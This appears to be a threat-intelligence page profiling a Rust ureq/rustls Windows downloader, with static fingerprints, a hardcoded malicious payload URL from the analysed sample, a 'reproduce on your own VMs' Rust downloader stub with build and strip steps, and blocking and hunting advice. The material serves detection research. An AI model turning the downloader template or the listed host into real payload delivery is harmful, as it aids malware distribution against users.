typetechniquecreated2026-08-15updated2026-08-15compilerrustc2defense-evasionevasionc2-protocolresearch-target

Rust ureq/rustls Downloader Build Pattern

A Rust-compiled Windows PE32+ x64 downloader that uses the ureq synchronous HTTP client library with rustls (pure-Rust TLS) for payload retrieval. The pattern is characterized by extensive Cargo registry path leakage in .rdata, a small .data section, no packing, no obfuscation, and minimal anti-analysis. The payload is fetched at runtime and validated against a hardcoded SHA-256 hash.

Detection / Fingerprint

Static indicators (all read-only, no execution required):

  1. Cargo registry paths in .rdata:

    • ureq-2.x.x/src/rtls.rs
    • rustls-0.23.x/src/crypto/tls13.rs
    • ring-0.17.x/src/hmac.rs / ring-0.17.x/src/aead/aes_gcm.rs
    • flate2-1.x.x/src/gz/bufread.rs
    • base64-0.22.x/src/engine/general_purpose/mod.rs These paths are never present in MinGW, Go, or .NET siblings.
  2. Rustc commit hash in panic/debug strings:

    • /rustc/XXXXXXXXXXXXXXXX/library/std/src/... — reveals the exact compiler revision.
  3. Section layout: 10 sections typical of LLD-linked Rust PEs: .text, .data, .rdata, .pdata, .xdata, .bss, .idata, .tls, .rsrc, .reloc

  4. Linker version: Major=2, Minor=44 (LLD 2.44) in OptionalHeader.

  5. Import surface: WS2_32.dll + bcrypt.dll/bcryptprimitives.dll/ADVAPI32.dll for crypto RNG, plus KERNEL32.dll and msvcrt.dll. No WINHTTP.dll or WININET.dll — rustls handles TLS entirely in-process.

  6. Small .data: Typically < 3 KB with entropy near 0.0 — no embedded payload.

Implementation Patterns Observed

Sample 4c25af57 (the archetype):

  • Hardcoded HTTPS URL: https://cloud.white-monster.xyz/cat.jpg
  • Hardcoded SHA-256 payload integrity hash
  • ureq handles gzip, chunked encoding, and proxy transparently
  • rustls 0.23.36 supports TLS 1.3 and ECH (Encrypted Client Hello)
  • Fire-and-forget: no persistence, no registry, no process injection visible statically

Reproduce on Your Own VMs

Prerequisites: Rust installed via rustup, cargo accessible.

Step 1 — Create project:

cargo new rust_downloader --bin
cd rust_downloader

Step 2 — Cargo.toml:

[package]
name = "rust_downloader"
version = "0.1.0"
edition = "2021"

[dependencies]
ureq = { version = "2.12", features = ["tls"] }
ring = "0.17"

Step 3 — src/main.rs:

use std::time::Duration;

fn main() {
    let agent = ureq::AgentBuilder::new()
        .timeout_connect(Duration::from_secs(10))
        .build();

    let resp = agent
        .get("https://example.com/payload.jpg")
        .set("User-Agent", "Mozilla/5.0")
        .call()
        .unwrap();

    let body = resp.into_string().unwrap();
    // Optional: add SHA-256 validation with ring::digest
}

Step 4 — Build for Windows:

# Add target if not present
rustup target add x86_64-pc-windows-gnu

# Release build
cargo build --release --target x86_64-pc-windows-gnu

# Strip symbols
strip target/x86_64-pc-windows-gnu/release/rust_downloader.exe

Step 5 — Verify fingerprint:

rabin2 -I repro.exe | grep -E 'lang|signed|stripped|LinkerVersion'
strings repro.exe | grep -c 'ureq-2.12'
strings repro.exe | grep -c 'rustls-0.23'
strings repro.exe | grep -c 'ring-0.17'

Expected: lang: c, signed: false, stripped: true, LinkerVersion: 2.44, and counts > 0 for all three crate strings.

Defensive Countermeasures

  • Network: Block white-monster.xyz and subdomains at the DNS/proxy layer.
  • Host: Hunt for small (< 2 MB) stripped PE32+ x64 binaries with ureq/rustls/ring strings.
  • TLS inspection: rustls uses standard TLS 1.3 handshakes; no special certificate pinning observed in the archetype.

Pages Where Observed

  • /intel/analyses/4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3.html — Archetype sample
  • 9d2ca3 — Contested family entity (seventh morph)